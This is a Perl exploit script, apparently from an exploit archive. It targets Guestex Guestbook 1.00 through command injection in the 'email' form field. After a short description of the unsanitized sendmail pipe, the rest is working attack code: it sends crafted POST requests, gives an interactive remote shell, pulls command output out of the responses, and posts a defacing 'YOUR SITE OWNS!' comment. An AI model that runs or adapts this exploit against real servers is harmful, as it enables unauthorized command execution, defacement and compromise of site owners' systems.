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Guestex Guestbook 1.00 (email) Remote Code Execution Exploit
============================================================ Guestex Guestbook 1.00 (email) Remote Code Execution Exploit ============================================================ ## Creator: K-sPecial (xzziroz.net) of .aware (awarenetwork.org) ## Name: GUESTEX-exec.pl ## Date: 06/07/2006 ## Version: 1.00 ## 1.00 (06/07/2006) - GUESTEX-exec.pl created ## ## Description: GUESTEX guestbook is vulnerable to remote code execution in how it ## handles it's 'email' parameter. $form{'email'} is used when openning a pipe to ## sendmail in this manner: open(MAIL, "$sendmail $form{'email'}) where $form{'email'} ## is not properly sanitized. ## ## Usage: specify the host and location of the script as the first argument. hosts can ## contain ports (host:port) and you CAN specify a single command to execute via the ## commandline, although if you do not you will be given a shell like interface to ## repeatedly enter commands. ####################################################################################### use IO::Socket; use strict; my $host = $ARGV[0]; my $location = $ARGV[1]; my $command = $ARGV[2]; my $sock; my $port = 80; my $comment = $ARGV[3] || "YOUR SITE OWNS!\n"; if (!($host && $location)) { die("-!> perl $0 <host[:port]> <location> [command] [comment]\n"); } $port = $1 if ($host =~ m/:(\d+)/); while (1) { my $switch = 0; if (!($ARGV[2])) { print 'guestex-shell$ '; chomp($command = <STDIN>); } my $cmd = ";echo --1337 start-- ;$command; echo --1337 end--"; $cmd =~ s/(.)/sprintf("%%%x", ord($1))/ge; my $POST = "POST $location HTTP/1.1\r\n" . "Host: $host\r\n" . "User-Agent: mozilla\r\n" . "Content-type: application/x-www-form-urlencoded\r\n" . "Content-length: " . length("surname=ax0r&nationality=american&country of residence=USA&preview=no&action=add&name=ax0r&site=ax0r net&url=www.ax0r.net&location=atlanta,ga&rating=10&comment=$comment&email=ax0r\@yahoo.com$cmd") . "\r\n" . "Referer: $host\r\n\r\n"; $POST .= "surname=ax0r&nationality=american&country of residence=USA&preview=no&action=add&name=ax0r&site=ax0r net&url=www.ax0r.net&location=atlanta,ga&rating=10&comment=$comment&email=ax0r\@yahoo.com$cmd"; $sock = IO::Socket::INET->new('PeerAddr' => "$host", 'PeerPort' => $port, 'Proto' => 'tcp', 'Type' => SOCK_STREAM) or die ("-!> unable to connect to '$host:$port': $!\n"); $sock->autoflush(); print $sock "$POST"; #$switch = 1; # used for debugging if you think 'echo' might not be working, etc while (my $line = <$sock>) { if ($line =~ m/^\-\-1337\ start\-\-$/) { $switch = 1; next; } if ($line =~ m/^\-\-1337\ end\-\-$/) { close($sock); last; } print $line if $switch; } exit if $ARGV[2]; } # 0day.today [2024-12-25] #